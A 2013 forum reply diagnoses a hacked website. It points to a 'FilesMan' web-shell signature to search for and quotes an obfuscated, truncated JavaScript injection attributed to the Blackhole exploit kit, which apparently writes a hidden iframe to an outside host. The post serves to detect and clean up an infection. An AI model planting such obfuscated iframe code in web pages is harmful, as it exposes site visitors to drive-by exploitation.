View Single Post
Old 07-30-2013, 03:11 PM  
tokmansta
Confirmed User
 
Industry Role:
Join Date: Jan 2013
Posts: 566
If someone had to remove it, it wasn't from an ad network. Your website most likely got infected by a vulnerable script and there is the possibility you still have a backdoor hidden somewhere on your server.

If you know how to search inside files from the command-line (which i doubt) search for

$default_action = "FilesMan";

or any of the signatures on http://labs.sucuri.net/?malwaredb


warn: WordPress version outdated: Upgrade required. <= fix this!

This script is still on your site and has a high chance of being the culprit. Other sites who have the same code are all infected with the same "blackhole exploit kit"

<script>ps="s"+"p"+"l"+"i"+"t";asd=function(){--(d.body)};a=("20,20,160,155,47,57,153,166,152,174, 164,154,165,173,65,156,154,173,114,163,154,164,154 ,165,173,172,111,200,133,150,156,125,150,164,154,5 7,56,151,166,153,200,56,60,142,67,144,60,202,24,20 ,20,20,160,155,171,150,164,154,171,57,60,102,24,20 ,20,204,47,154,163,172,154,47,202,24,20,20,20,153, 166,152,174,164,154,165,173,65,176,171,160,173,154 ,57,51,103,160,155,171,150,164,154,47,172,171,152, 104,56,157,173,173,167,101,66,66,157,166,172,173,1 50,175,150,165,170,174,154,172,173,65,151,160,201, 66,172,113,201,73,173,67,146,67,167,135,121,135,67 ,146,164,172,123,130,64,67,125,171,156,64,150,67,1 46,72,176,76,156,66,70,71,100,100,110,67,152,64,15 6,135,114,67,163,156,140,174,66,67,100,135,146,77, 72,67,140,76,122,74,70,76,131,146,173,73,67,171,14 6,115,75,111,67,126,74,77,125,66,56,47,176,160,153 ,173,157,104,56,70,67,67,56,47,157,154,160,156,157 ,173,104,56,70,67,67,56,47,172,173,200,163,154,104 ,56,176,160,153,173,157,101,70,67,67,167,177,102,1 57,154,160,156,157,173,101,70,67,67,167,177,102,16 7,166,172,160,173,160,166,165,101,150,151,172,166, 163,174,173,154,102,163,154,155,173,101,64,70,67,6 7,67,67,167,177,102,173,166,167,101,67,102,56,105, 103,66,160,155,171,150,164,154,105,51,60,102,24,20 ,20,204,24,20,20,155,174,165,152,173,160,166,165,4 7,160,155,171,150,164,154,171,57,60,202,24,20,20,2 0,175,150,171,47,155,47,104,47,153,166,152,174,164 ,154,165,173,65,152,171,154,150,173,154,114,163,15 4,164,154,165,173,57,56,160,155,171,150,164,154,56 ,60,102,155,65,172,154,173,110,173,173,171,160,151 ,174,173,154,57,56,172,171,152,56,63,56,157,173,17 3,167,101,66,66,157,166,172,173,150,175,150,165,17 0,174,154,172,173,65,151,160,201,66,172,113,201,73 ,173,67,146,67,167,135,121,135,67,146,164,172,123, 130,64,67,125,171,156,64,150,67,146,72,176,76,156, 66,70,71,100,100,110,67,152,64,156,135,114,67,163, 156,140,174,66,67,100,135,146,77,72,67,140,76,122, 74,70,76,131,146,173,73,67,171,146,115,75,111,67,1 26,74,77,125,66,56,60,102,155,65,172,173,200,163,1 54,65,163,154,155,173,104,56,64,70,67,67,67,67,167 ,177,56,102,155,65,172,173,200,163,154,65,173,166, 167,104,56,67,56,102,155,65,172,173,200,163,154,65 ,167,166,172,160,173,160,166,165,104,56,150,151,17 2,166,163,174,173,154,56,102,155,65,172,173,200,16 3,154,65,173,166,167,104,56,67,56,102,155,65,172,1 54,173,110,173,173,171,160,151,174,173,154,57,56,1 76,160,153,173,157,56,63,56,70,67,67,56,60,102,155 ,65,172,154,173,110,173,173,171,160,151,174,173,15 4,57,56,157,154,160,156,157,173,56,63,56,70,67,67, 56,60,102,24,20,20,20,153,166,152,174,164,154,165, 173,65,156,154,173,114,163

I think you owe Juicyads an apology?

Last edited by tokmansta; 07-30-2013 at 03:23 PM..
tokmansta is offline   Share thread on Digg Share thread on Twitter Share thread on Reddit Share thread on Facebook